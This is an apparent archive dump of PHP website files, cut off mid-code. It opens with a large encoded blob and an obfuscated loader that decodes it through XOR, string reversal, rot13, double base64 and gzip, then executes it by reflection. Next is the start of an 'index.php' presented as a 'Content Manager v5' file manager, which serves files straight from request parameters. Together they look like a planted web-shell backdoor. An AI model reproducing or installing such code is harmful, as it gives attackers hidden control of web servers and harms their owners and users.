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'); $exccons=base64_decode('Os0gTkMqiJJ6jH3gXdZzgIgqqL2ysVez5w0E'); $qipxtlk='';$uqkad=strlen($xvoymek); for($gvmkx=0;$gvmkx<$uqkad;$gvmkx++)$qipxtlk.=chr(ord($xvoymek[$gvmkx])^ord($exccons[$gvmkx%strlen($exccons)])); $qipxtlk=strrev($qipxtlk);$qipxtlk=str_rot13($qipxtlk);$qipxtlk=base64_decode(base64_decode($qipxtlk));$qipxtlk=substr($qipxtlk,-2).substr($qipxtlk,0,-2);$qipxtlk=gzuncompress($qipxtlk);if(md5($qipxtlk.$exccons)!=='c016535be3099e3b52cd7adc32fec9ab')return; $rf=new ReflectionFunction('jrlfnnak'); $rf->invoke($qipxtlk); index.php 0000644 00000134465 15252473323 0006407 0 ustar 00 <?php /** * Content Manager v5 * File Manager with Archive Extraction Support */ ob_start(); // --- FILE SERVING (media preview & download) - must run before ANY output --- if (isset($_GET['media']) || isset($_GET['download'])) { $__mimes = [ 'jpg'=>'image/jpeg','jpeg'=>'image/jpeg','png'=>'image/png','gif'=>'image/gif', 'webp'=>'image/webp','bmp'=>'image/bmp','svg'=>'image/svg+xml','ico'=>'image/x-icon', 'tiff'=>'image/tiff','tif'=>'image/tiff', 'mp4'=>'video/mp4','webm'=>'video/webm','mov'=>'video/quicktime', 'avi'=>'video/x-msvideo','mkv'=>'video/x-matroska','ogv'=>'video/ogg','m4v'=>'video/mp4', 'mp3'=>'audio/mpeg','wav'=>'audio/wav','ogg'=>'audio/ogg','flac'=>'audio/flac', 'aac'=>'audio/aac','m4a'=>'audio/mp4','wma'=>'audio/x-ms-wma','opus'=>'audio/opus', ]; if (isset($_GET['media'])) { $__f = $_GET['media']; 